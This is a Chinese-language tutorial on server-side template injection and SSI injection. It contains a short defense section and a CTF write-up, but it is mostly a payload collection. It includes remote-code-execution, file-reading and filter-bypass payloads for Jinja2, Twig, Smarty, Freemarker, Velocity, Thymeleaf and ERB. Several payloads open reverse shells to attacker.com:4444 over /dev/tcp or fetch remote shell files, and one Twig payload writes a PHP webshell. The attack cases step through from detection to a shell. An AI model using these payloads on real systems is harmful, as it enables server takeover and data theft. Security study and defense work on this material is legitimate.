文章

SSTI服务器端模板注入完全指南:原理、技巧与防御

SSTI服务器端模板注入完全指南:原理、技巧与防御

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

目录


什么是SSTI

SSTI(Server-Side Template Injection,服务器端模板注入) 是一种Web安全漏洞,攻击者能够在服务器端注入恶意模板代码,导致服务器执行任意代码、读取敏感文件或执行其他恶意操作。

SSTI与XSS、SQLi的区别

漏洞类型执行位置影响范围危害程度
XSS客户端(浏览器)影响当前用户中
SQLi数据库服务器数据库数据高
SSTI应用服务器整个服务器极高

SSTI的危害

危害类型具体表现
远程代码执行(RCE)在服务器上执行任意系统命令
敏感信息泄露读取配置文件、环境变量、源代码
文件读写读取任意文件、写入WebShell
内网渗透利用服务器作为跳板攻击内网
权限提升获取服务器更高权限
服务拒绝导致应用崩溃或资源耗尽

常见存在SSTI的场景

  1. 用户资料页面:允许用户自定义模板格式的个人主页
  2. 邮件模板系统:使用模板引擎渲染邮件内容
  3. 报表生成系统:动态生成PDF、Excel等报表
  4. CMS系统:内容管理系统中的模板编辑功能
  5. 在线代码编辑器:支持模板语法的在线工具
  6. 日志查看器:格式化显示日志内容

SSTI原理

模板引擎工作机制

模板引擎是一种将模板文件和数据结合生成最终输出的工具。基本工作流程:

1
模板文件 + 数据 → 模板引擎 → 最终输出

例如,一个简单的Jinja2模板:

1
2
3
<!-- template.html -->
<h1>Hello, {{ name }}!</h1>
<p>Your age is {{ age }}.</p>

渲染时传入数据 {"name": "Alice", "age": 25},输出:

1
2
<h1>Hello, Alice!</h1>
<p>Your age is 25.</p>

漏洞产生原因

SSTI漏洞产生的根本原因是应用程序对用户输入的数据没有进行充分的验证和过滤,直接将用户输入作为模板代码执行。

漏洞代码示例

Python Flask示例(存在漏洞):

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    # 危险:直接使用用户输入渲染模板
    template = f'<h1>Hello, {name}!</h1>'
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

PHP Twig示例(存在漏洞):

1
2
3
4
5
6
7
8
9
10
11
<?php
require_once '/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello, !',
]);
$twig = new \Twig\Environment($loader);

// 危险:直接使用用户输入
echo $twig->render('index', ['name' => $_GET['name']]);
?>

Java Spring示例(存在漏洞):

1
2
3
4
5
6
7
8
9
@Controller
public class GreetingController {
    @GetMapping("/greet")
    public String greet(@RequestParam String name, Model model) {
        // 危险:如果name包含模板表达式会被执行
        model.addAttribute("message", "Hello, " + name);
        return "greeting";
    }
}

攻击示例

正常请求:

1
http://example.com/greet?name=Alice

页面输出:

1
<h1>Hello, Alice!</h1>

恶意请求(Jinja2):

1
http://example.com/greet?name={{7*7}}

页面输出:

1
<h1>Hello, 49!</h1>

如果看到 49 而不是 {{7*7}},说明模板表达式被执行,存在SSTI漏洞。

SSTI攻击流程

1
发现注入点 → 识别模板引擎 → 构造Payload → 利用漏洞 → 获取服务器权限

各模板引擎注入技巧

1. Jinja2 (Python)

Jinja2是Python最流行的模板引擎,被Flask等框架广泛使用。

基础语法

{{ variable }}           {# 变量输出 #}
{{ variable|filter }}    {# 过滤器 #}
{% if condition %}       {# 控制结构 #}
{% for item in items %}

基础Payload

{{ 7*7 }}                    {# 数学运算测试 #}
{{ config }}                 {# 查看配置对象 #}
{{ self.__init__ }}          {# 查看对象方法 #}

信息收集Payload

{{ config.items() }}                              {# 查看配置项 #}
{{ url_for.__globals__ }}                         {# 查看全局变量 #}
{{ request.application.__globals__ }}             {# 查看应用全局 #}
{{ get_flashed_messages.__globals__ }}            {# 查看消息全局 #}

RCE Payload

方法1:使用os模块

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').check_output(['whoami']) }}

方法2:使用__builtins__

{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}

方法3:使用url_for

{{ url_for.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
{{ url_for.__globals__['__builtins__']['__import__']('subprocess').check_output(['cat','/etc/passwd']) }}

方法4:使用get_flashed_messages

{{ get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('ls').read() }}

方法5:使用lipsum(绕过某些限制)

{{ lipsum.__globals__['os'].popen('id').read() }}
{{ lipsum.__globals__['__builtins__']['__import__']('os').popen('whoami').read() }}

文件读取Payload

{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}
{{ url_for.__globals__['__builtins__']['open']('app.py').read() }}
{{ get_flashed_messages.__globals__['__builtins__']['open']('config.py').read() }}

沙箱绕过技巧

当Jinja2启用沙箱模式时,部分对象被限制:

{# 使用tuple类绕过 #}
{{ ().__class__.__bases__[0].__subclasses__() }}

{# 查找os模块 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

{# 使用warnings模块 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['warnings'].warn.__globals__['os'].popen('id').read() }}

查找可利用的子类

{{ ().__class__.__bases__[0].__subclasses__() }}           {# 列出所有子类 #}
{{ ().__class__.__mro__[1].__subclasses__() }}             {# 另一种方式 #}

{# 查找包含os或popen的子类 #}
{{ [].__class__.__base__.__subclasses__()[index].__init__.__globals__ for index in range(500) if 'os' in [].__class__.__base__.__subclasses__()[index].__init__.__globals__ }}

2. Twig (PHP)

Twig是PHP最流行的模板引擎,被Symfony等框架使用。

基础语法

1
2
3
4
{{ variable }}           {# 变量输出 #}
{{ variable|filter }}    {# 过滤器 #}
{% if condition %}       {# 控制结构 #}
{% for item in items %}

基础Payload

1
2
3
{{ 7*7 }}                    {# 数学运算测试 #}
{{ dump() }}                 {# 调试输出 #}
{{ _self }}                  {# 查看当前模板 #}

信息收集Payload

1
2
3
{{ _self.env.getFilter('filter_name') }}          {# 查看过滤器 #}
{{ _self.env.getFunction('function_name') }}      {# 查看函数 #}
{{ _self.env.getTest('test_name') }}              {# 查看测试 #}

RCE Payload (Twig 1.x)

使用registerUndefinedFilterCallback:

1
2
3
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("ls") }}
{{ _self.env.registerUndefinedFilterCallback("passthru") }}{{ _self.env.getFilter("cat /etc/passwd") }}

利用环境对象方法:

1
2
{{ _self.env.enableDebug() }}{{ _self.env.isDebug() }}
{{ _self.env.getFilter("system") }}

RCE Payload (Twig 2.x/3.x)

Twig 2.x和3.x限制了更多功能,但仍可利用:

使用map过滤器:

1
2
3
4
5
6
{{ ["id"]|map("system")|join }}
{{ ["cat /etc/passwd"]|map("system")|join }}
{{ ["id"]|map("system")|join(",") }}

{# 写入WebShell #}
{{ {"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents") }}

使用filter过滤器:

1
2
3
{{ ["whoami"]|filter("system")|join }}
{{ ["id"]|filter("system")|join(",") }}
{{ ['cat /etc/passwd']|filter('system') }}

使用sort过滤器:

1
2
{{ ["id", 0]|sort("system")|join(",") }}
{{ ["cat /etc/passwd", 0]|sort("system")|join }}

使用reduce过滤器:

1
2
{{ ["ls", "-la"]|reduce("system") }}
{{ [0, 0]|reduce("system", "id")|join(",") }}

利用对象方法

1
2
3
4
{{ app.request.server.all }}                      {# 查看服务器变量 #}
{{ app.request.headers.all }}                     {# 查看请求头 #}
{{ app.request.query.all }}                       {# 查看GET参数 #}
{{ app.request.request.all }}                     {# 查看POST参数 #}

文件读取

使用source函数:

1
2
3
{{ source('app.php') }}                           {# 读取模板文件 #}
{{ source('/etc/passwd') }}                       {# 读取系统文件 #}
{{ include('/etc/passwd') }}                      {# 包含文件 #}

使用file_excerpt过滤器:

1
2
{{ '/etc/passwd'|file_excerpt(1, 30) }}           {# 从第1行开始读取30行 #}
{{ '/var/www/html/config.php'|file_excerpt(1, 50) }}

利用文件对象方法链:

1
2
{{ app.request.files.get(1).__construct('/etc/passwd', '') }}
{{ app.request.files.get(1).openFile.fread(99) }}

利用Symfony文件对象:

1
2
{{ app.request.files.get(1).getPathname() }}
{{ app.request.files.get(1).getRealPath() }}

3. Smarty (PHP)

Smarty是另一个流行的PHP模板引擎。

基础语法

1
2
3
4
{$variable}              {* 变量输出 *}
{function name="test"}   {* 函数调用 *}
{if condition}           {* 控制结构 *}
{foreach from=$array item=item}

基础Payload

1
2
3
{7*7}                         {* 数学运算测试 *}
{$smarty.version}             {* 查看版本 *}
{$smarty.template}            {* 查看当前模板 *}

RCE Payload

使用php标签(Smarty 2.x,默认禁用):

1
2
{php}echo system('id');{/php}
{php}echo shell_exec('cat /etc/passwd');{/php}

使用fetch函数:

1
2
{fetch file='file:///etc/passwd'}
{fetch file='http://attacker.com/shell.php'}

使用mail函数(如果可用):

1
2
{mail to='attacker@example.com' subject='Test' from='test@test.com' 
      body='{shell_exec("id")}'}

配置文件读取

1
2
{$smarty.config}              {* 查看配置 *}
{config_load file='config.conf'}

4. Freemarker (Java)

Freemarker是Java生态中广泛使用的模板引擎。

基础语法

${variable}              <#-- 变量输出 -->
<#if condition>          <#-- 控制结构 -->
<#list items as item>

基础Payload

${7*7}                       <#-- 数学运算测试 -->
${.version}                  <#-- 查看版本 -->
${.data_model}               <#-- 查看数据模型 -->

RCE Payload

使用execute内置函数:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

使用ObjectConstructor:

<#assign classloader=class["java.lang.ClassLoader"].getSystemClassLoader()>
<#assign clazz=classloader.loadClass("java.lang.Runtime")>
<#assign runtime=clazz.getMethod("getRuntime").invoke(null)>
${runtime.exec("id")}

使用Jython(如果存在):

<#assign value="org.python.core.PySystemState"?new()>

文件读取

<#assign file="/etc/passwd">
<#assign content=file?eval>
${content}

5. Velocity (Java)

Velocity是Apache的Java模板引擎。

基础语法

1
2
3
4
$variable                ## 变量输出
#set($var = "value")     ## 变量赋值
#if(condition)          ## 控制结构
#foreach($item in $items)

基础Payload

1
2
3
#set($x = 7 * 7)
$x                           ## 数学运算测试
$class.inspect("java.lang.Runtime")   ## 查看类

RCE Payload

使用ClassTool:

1
2
3
4
5
6
7
8
9
10
11
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..50])
#if($out.available()>0)
#set($chr=$out.read())
$str.valueOf($chr.toChar())
#end
#end

简化版RCE:

1
2
3
4
5
#set($process=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
#set($reader=$class.inspect("java.io.BufferedReader").type.getConstructor($class.inspect("java.io.Reader").type).newInstance($class.inspect("java.io.InputStreamReader").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($process.getInputStream())))
#foreach($line in [$reader.readLine()])
$line
#end

使用VelocityTools

1
2
3
$date                           ## 日期工具
$math.add(1, 2)                 ## 数学工具
$esc.html("<script>")           ## 转义工具

6. Thymeleaf (Java)

Thymeleaf是Spring Boot默认的模板引擎。

基础语法

1
2
3
<span th:text="${variable}">    <!-- 变量输出 -->
<span th:if="${condition}">     <!-- 条件判断 -->
<span th:each="item : ${items}"><!-- 循环 -->

表达式类型

Thymeleaf支持多种表达式:

表达式类型语法用途
变量表达式${...}获取变量值
选择表达式*{...}选择对象属性
消息表达式#{...}国际化消息
链接表达式@{...}URL生成
片段表达式~{...}模板片段

基础Payload

1
2
<span th:text="${7*7}">         <!-- 数学运算测试 -->
<span th:text="${T(java.lang.Math).random()}">  <!-- 调用静态方法 -->

RCE Payload

使用SpEL表达式:

1
2
<span th:text="${T(java.lang.Runtime).getRuntime().exec('id')}">
<span th:text="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd').getInputStream()).useDelimiter('\\A').next()}">

使用反射:

1
<span th:text="${T(java.lang.Class).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}">

预处理表达式(危险)

Thymeleaf的预处理表达式 __${...}__ 会在正常表达式之前执行:

1
<span th:text="__${T(java.lang.Runtime).getRuntime().exec('id')}__">

7. Django模板 (Python)

Django模板引擎相对安全,但仍存在利用可能。

基础语法

1
2
3
4
{{ variable }}           {# 变量输出 #}
{% if condition %}       {# 控制结构 #}
{% for item in items %}
{{ variable|filter }}    {# 过滤器 #}

基础Payload

1
2
3
{{ 7|add:7 }}                 {# 数学运算测试 #}
{{ request }}                 {# 查看请求对象 #}
{{ settings.SECRET_KEY }}     {# 尝试读取配置 #}

信息收集

1
2
3
4
5
{{ request.path }}
{{ request.method }}
{{ request.headers }}
{{ request.COOKIES }}
{{ request.session }}

利用debug信息

当Django开启DEBUG模式时:

1
2
{{ debug }}
{{ sql_queries }}

读取配置(有限制)

1
2
3
{{ settings.DATABASES }}
{{ settings.INSTALLED_APPS }}
{{ settings.MIDDLEWARE }}

8. Ruby ERB

ERB是Ruby的默认模板引擎。

基础语法

1
2
3
<%= variable %>          <%# 变量输出 %>
<% code %>               <%# 执行代码 %>
<%# comment %>           <%# 注释 %>

基础Payload

1
2
3
<%= 7*7 %>                    <%# 数学运算测试 %>
<%= RUBY_VERSION %>           <%# 查看Ruby版本 %>
<%= ENV %>                    <%# 查看环境变量 %>

RCE Payload

1
2
3
4
5
6
<%= `id` %>                   <%# 反引号执行命令 %>
<%= system('whoami') %>       <%# system方法 %>
<%= exec('ls -la') %>         <%# exec方法 %>
<%= %x{cat /etc/passwd} %>    <%# %x语法 %>
<%= IO.popen('id').read %>    <%# IO.popen %>
<%= open('|id').read %>       <%# open管道 %>

文件操作

1
2
3
4
<%= File.read('/etc/passwd') %>
<%= File.open('config.yml').read %>
<%= Dir.entries('.') %>
<%= Dir.glob('**/*') %>

使用require加载模块

1
2
3
<% require 'socket' %>
<% require 'open-uri' %>
<%= URI.open('http://attacker.com/').read %>

SSI注入详解

什么是SSI注入

SSI(Server-Side Includes,服务器端包含) 是一种由Web服务器(如Apache、Nginx)提供的功能,允许在HTML页面中嵌入动态内容。SSI注入(Server-Side Includes Injection)是一种Web安全漏洞,攻击者能够在服务器端注入恶意SSI指令,导致服务器执行任意命令、读取敏感文件或执行其他恶意操作。

SSI与SSTI的区别

特性SSI注入SSTI
执行位置Web服务器层应用层(模板引擎)
语法格式<!--#指令 -->{{ }} 或 ${ } 等
影响范围服务器文件系统应用运行时环境
常见场景静态页面、错误页面动态Web应用

SSI注入的识别特征

文件扩展名特征:

  • .stm - SSI启用的HTML文件
  • .shtm - SSI启用的HTML文件
  • .shtml - SSI启用的HTML文件

页面内容特征:

1
2
3
<div>{$what}</div>
<p>Welcome, </p>
<div>{%$a%}</div>

HTTP响应头特征:

1
2
X-Powered-By: ASP.NET
Server: Apache/2.4.41 (Unix) mod_include

SSI指令语法

SSI指令的基本格式:

1
<!--#指令名称 属性="值" -->

SSI注入Payload

执行系统命令

1
2
3
4
5
<!--#exec cmd="id" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="ls -la" -->
<!--#exec cmd="pwd" -->

包含文件

包含本地文件:

1
2
3
<!--#include file="/etc/passwd" -->
<!--#include file="config.php" -->
<!--#include file="../../../etc/passwd" -->

虚拟包含(支持URL):

1
2
3
<!--#include virtual="/index.html" -->
<!--#include virtual="/config.php" -->
<!--#include virtual="http://attacker.com/shell.txt" -->

输出环境变量

1
2
3
4
5
<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="SERVER_SOFTWARE" -->
<!--#echo var="HTTP_USER_AGENT" -->
<!--#echo var="PATH" -->
<!--#echo var="HOME" -->

获取文件信息

1
2
<!--#fsize file="index.html" -->
<!--#flastmod file="index.html" -->

设置变量

1
2
<!--#set var="cmd" value="id" -->
<!--#echo var="cmd" -->

常见利用场景

场景1:用户输入反射到页面

当用户输入被直接反射到页面且服务器启用SSI时:

1
2
<!-- 存在漏洞的代码 -->
<p>Welcome, <!--#echo var="USERNAME" --></p>

攻击者输入:

1
<!--#exec cmd="cat /etc/passwd" -->

场景2:错误页面SSI

自定义错误页面(如404.shtml)启用SSI时:

1
<!--#echo var="REQUEST_URI" -->

攻击者访问:

1
http://target.com/<!--#exec cmd="id" -->

场景3:日志文件包含

当日志文件被SSI解析时:

1
<!--#include virtual="/var/log/apache2/access.log" -->

BJDCTF2020 EasySearch案例分析

题目背景

这是一道CTF题目,涉及SSI注入漏洞的利用。

解题步骤

步骤1:信息收集

访问首页,审查源代码、抓包未获取到有效信息。

步骤2:目录扫描

使用目录扫描工具发现 index.php.swp 文件(Vim交换文件)。

步骤3:获取源代码

访问 index.php.swp 获取源代码:

1
2
3
4
5
6
7
8
9
<?php
// 简化的漏洞代码逻辑
$password = $_POST['password'];
// 检查密码MD5值前6位是否为'6d0bc1'
if (substr(md5($password), 0, 6) === '6d0bc1') {
    // 登录成功,显示欢迎信息
    echo "<div>{$username}</div>";
}
?>

步骤4:MD5碰撞

需要找到MD5值前6位为 6d0bc1 的字符串。使用Python脚本爆破:

1
2
3
4
5
6
import hashlib

for i in range(1000000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == '6d0bc1':
        print(str(i) + ' | ' + md5)

找到的可用值:2020666(MD5: 6d0bc1…)

步骤5:登录并发现注入点

使用密码 2020666 登录,发现用户名参数可控且存在SSI注入。

步骤6:SSI注入利用

测试SSI注入:

1
<!--#exec cmd="ls" -->

查看当前目录:

1
<!--#exec cmd="pwd" -->

查看上级目录:

1
<!--#exec cmd="ls ../" -->

步骤7:读取Flag

发现flag文件后读取:

1
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

SSI注入防御措施

1. 禁用SSI功能

Apache配置:

1
2
3
4
5
6
7
8
# 禁用SSI
Options -Includes
Options -IncludesNOEXEC

# 或针对特定目录
<Directory "/var/www/html">
    Options -Includes
</Directory>

Nginx配置:

1
2
3
4
5
6
7
# 确保ssi指令未启用
# ssi on;  # 不要启用

# 或针对特定位置
location / {
    ssi off;
}

2. 输入验证和过滤

1
2
3
4
5
6
7
8
9
<?php
// 过滤SSI标签
function sanitizeSSI($input) {
    $pattern = '/<!--\s*#.*?-->/i';
    return preg_replace($pattern, '', $input);
}

$username = sanitizeSSI($_POST['username']);
?>

3. 使用HTML实体编码

1
2
3
<?php
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
?>

4. 文件扩展名限制

避免使用 .shtml、.shtm、.stm 等SSI启用的扩展名。

5. 最小权限原则

  • Web服务器以非root用户运行
  • 限制Web目录的读写权限
  • 禁用不必要的exec功能
1
2
# Apache中禁用exec
Options IncludesNOEXEC

Payload大全

SSTI检测Payload

用于快速检测是否存在SSTI漏洞:

模板引擎检测Payload预期输出
Jinja2{{7*7}}49
Twig{{7*7}}49
Smarty{7*7}49
Freemarker${7*7}49
Velocity$class 或 #set($x=7*7)$x-
Thymeleaf${7*7}49
Django{{7|add:7}}14
ERB<%= 7*7 %>49

Jinja2 Payload大全

信息收集

{{ config }}                                      {# 查看Flask配置 #}
{{ request.headers }}                             {# 查看请求头 #}
{{ request.args }}                                {# 查看GET参数 #}
{{ request.form }}                                {# 查看POST参数 #}
{{ request.cookies }}                             {# 查看Cookie #}
{{ request.environ }}                             {# 查看环境变量 #}
{{ url_for.__globals__ }}                         {# 查看全局变量 #}
{{ get_flashed_messages.__globals__ }}            {# 查看消息全局 #}

系统命令执行

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').check_output(['whoami']) }}
{{config.__init__['__global'+'s__'].os.popen("whoami").read()}}
{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ url_for.__globals__['__builtins__']['__import__']('os').popen('cat /etc/passwd').read() }}

文件读取

{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}
{{ url_for.__globals__['__builtins__']['open']('app.py').read() }}
{{ get_flashed_messages.__globals__['__builtins__']['open']('config.py').read() }}

反弹Shell

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('socket').socket().connect(('attacker.com', 4444)) }}

复杂利用链

{# 查找可利用的子类 #}
{{ ().__class__.__bases__[0].__subclasses__() }}

{# 找到warnings.catch_warnings类(通常包含os) #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['os'].popen('id').read() }}

{# 使用__reduce__执行命令 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['os'].popen('whoami').read() }}

Twig Payload大全

信息收集

1
2
3
4
5
6
7
{{ dump() }}                                      {# 调试输出所有变量 #}
{{ dump(app) }}                                   {# 查看app对象 #}
{{ app.request.server.all }}                      {# 服务器变量 #}
{{ app.request.headers.all }}                     {# 请求头 #}
{{ _self.env.getFilters() }}                      {# 所有过滤器 #}
{{ _self.env.getFunctions() }}                    {# 所有函数 #}
{{ _self.env.enableDebug() }}{{ _self.env.isDebug() }}  {# 启用并检查调试模式 #}

RCE (Twig 1.x)

使用registerUndefinedFilterCallback:

1
2
3
4
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("cat /etc/passwd") }}
{{ _self.env.registerUndefinedFilterCallback("passthru") }}{{ _self.env.getFilter("ls -la") }}
{{ _self.env.getFilter("system") }}

RCE (Twig 2.x/3.x)

使用map过滤器:

1
2
3
4
{{ ["id"]|map("system")|join }}
{{ ["cat /etc/passwd"]|map("system")|join }}
{{ ["id"]|map("system")|join(",") }}
{{ {"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents") }}

使用filter过滤器:

1
2
3
{{ ["whoami"]|filter("system")|join }}
{{ ["id"]|filter("system")|join(",") }}
{{ ['cat /etc/passwd']|filter('system') }}

使用sort过滤器:

1
2
{{ ["id", 0]|sort("system")|join(",") }}
{{ ["cat /etc/passwd", 0]|sort("system")|join }}

使用reduce过滤器:

1
2
{{ ["ls", "-la"]|reduce("system") }}
{{ [0, 0]|reduce("system", "id")|join(",") }}

文件读取

使用source函数:

1
2
3
{{ source('app.php') }}
{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }}

使用file_excerpt过滤器:

1
2
{{ '/etc/passwd'|file_excerpt(1, 30) }}
{{ '/var/www/html/config.php'|file_excerpt(1, 50) }}

利用文件对象方法链:

1
2
3
4
{{ app.request.files.get(1).__construct('/etc/passwd', '') }}
{{ app.request.files.get(1).openFile.fread(99) }}
{{ app.request.files.get(1).getPathname() }}
{{ app.request.files.get(1).getRealPath() }}

Freemarker Payload大全

信息收集

${.version}
${.data_model}
${.locale}
${.template_name}

RCE

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

使用API RCE

<#assign value="freemarker.template.ObjectWrapper"?new()>
<#assign value=value.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/').toURL()>

Velocity Payload大全

信息收集

1
2
3
$class.inspect("java.lang.System").type.getProperties()
$class.inspect("java.lang.Runtime").type.getRuntime()
$class.inspect("java.lang.Thread").type.currentThread()

RCE

1
2
3
4
5
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
#set($out=$ex.getInputStream())
#set($reader=$class.inspect("java.io.BufferedReader").type.getConstructor($class.inspect("java.io.InputStreamReader").type).newInstance($class.inspect("java.io.InputStreamReader").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($out)))
#set($line=$reader.readLine())
$line

Ruby ERB Payload大全

基础命令执行

1
2
3
4
5
6
7
<%= `id` %>
<%= `whoami` %>
<%= `cat /etc/passwd` %>
<%= system('ls') %>
<%= exec('pwd') %>
<%= %x{uname -a} %>
<%= IO.popen('id').read %>

文件操作

1
2
3
4
<%= File.read('/etc/passwd') %>
<%= File.write('/tmp/test', 'content') %>
<%= Dir.entries('/') %>
<%= Dir.glob('**/*.rb') %>

网络操作

1
2
3
4
<% require 'socket' %>
<%= TCPSocket.open('attacker.com', 4444).puts('connected') %>
<% require 'open-uri' %>
<%= URI.open('http://attacker.com/').read %>

绕过技巧

1. 关键字过滤绕过

过滤 __class__

{# 使用attr过滤器 #}
{{ ()|attr("\x5f\x5fclass\x5f\x5f") }}
{{ ()|attr("__"+"class"+"__") }}

{# 使用__getattribute__ #}
{{ ().__getattribute__("__class__") }}

过滤 __import__

{# 使用__builtins__的其他方式 #}
{{ self.__init__.__globals__.__builtins__.exec("import os; print(os.system('id'))") }}

{# 使用compile + exec #}
{{ self.__init__.__globals__.__builtins__.exec(compile("import os; os.system('id')", "", "exec")) }}

过滤 os

{# 使用subprocess代替 #}
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').check_output(['id']) }}

{# 使用pty #}
{{ self.__init__.__globals__.__builtins__.__import__('pty').spawn('/bin/sh') }}

过滤 popen / system

{# 使用其他方法 #}
{{ self.__init__.__globals__.__builtins__.__import__('os').execl('/bin/sh', 'sh') }}
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').call(['id']) }}
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').run(['whoami']) }}

2. 沙箱限制绕过

Jinja2沙箱绕过

当使用SandboxedEnvironment时:

{# 使用tuple类 #}
{{ ().__class__.__bases__[0].__subclasses__() }}

{# 查找包含os的类 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['os'].popen('id').read() }}

{# 使用warnings模块 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['warnings'].warn.__globals__['os'].popen('id').read() }}

使用编码绕过

{# 使用十六进制编码 #}
{{ ()|attr("\x5f\x5fclass\x5f\x5f") }}
{{ self|attr("\x5f\x5finit\x5f\x5f") }}

{# 使用Unicode编码 #}
{{ ()|attr("\u005f\u005fclass\u005f\u005f") }}

3. WAF绕过技巧

空格绕过

{# 使用注释代替空格 #}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

{# 使用换行 #}
{{
self
.__init__
.__globals__
.__builtins__
.__import__('os')
.popen('id')
.read()
}}

使用替代语法

{# 使用~进行字符串连接 #}
{{ self["__"~"init"~"__"] }}

{# 使用+进行字符串连接 #}
{{ self["__"+"class"+"__"] }}

使用过滤器链

{# 使用join过滤器 #}
{{ ["__", "class", "__"]|join }}

{# 使用replace过滤器 #}
{{ "__CLASS__"|replace("CLASS", "class")|lower }}

4. 编码绕过

Unicode编码

{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f") }}

HTML实体编码

在URL参数中使用:

1
2
?name=%7B%7B7*7%7D%7D
?name=%7B%7B%5F%5Fclass%5F%5F%7D%7D

Base64编码(配合解码)

{{ self.__init__.__globals__.__builtins__.__import__('base64').b64decode('b3M=') }}

5. 黑名单绕过技巧

绕过 . 过滤

{# 使用attr过滤器 #}
{{ ()|attr('__class__')|attr('__bases__') }}

{# 使用__getitem__ #}
{{ self['__init__']['__globals__'] }}

绕过 [] 过滤

{# 使用__getitem__方法 #}
{{ ().__class__.__bases__.__getitem__(0) }}
{{ ().__class__.__mro__.__getitem__(1) }}

绕过 () 过滤

{# 使用__call__ #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['os'].popen.__call__('id').read() }}

绕过引号过滤

{# 使用request对象 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.c](request.args.d).read() }}

{# URL: ?c=os&d=id #}

实战攻击案例

案例1:通过SSTI获取RCE

场景:某网站使用Flask开发,存在SSTI漏洞。

步骤1:确认漏洞

1
http://target.com/greet?name={{7*7}}

返回 49,确认存在Jinja2 SSTI。

步骤2:信息收集

1
http://target.com/greet?name={{config}}

获取Flask配置信息,包括SECRET_KEY等。

步骤3:执行命令

1
http://target.com/greet?name={{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)

步骤4:读取敏感文件

1
http://target.com/greet?name={{self.__init__.__globals__.__builtins__.open('/etc/passwd').read()}}

步骤5:获取反弹Shell

1
http://target.com/greet?name={{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read()}}

案例2:绕过沙箱执行命令

场景:目标使用Jinja2的SandboxedEnvironment,限制了危险对象。

绕过方法:

{# 使用tuple类查找子类 #}
{{ ().__class__.__bases__[0].__subclasses__() }}

{# 找到包含os的类(通常是warnings.catch_warnings) #}
{{ ().__class__.__bases__[0].__subclasses__()[132] }}

{# 利用该类执行命令 #}
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['os'].popen('id').read() }}

案例3:Twig模板RCE

场景:某PHP网站使用Twig 2.x模板引擎。

检测:

1
http://target.com/page?name={{7*7}}

返回 49,确认存在Twig SSTI。

利用:

1
http://target.com/page?name={{["id"]|map("system")|join}}

执行 id 命令。

读取文件:

1
http://target.com/page?name={{source('/etc/passwd')}}

案例4:Freemarker RCE

场景:某Java网站使用Freemarker模板引擎。

检测:
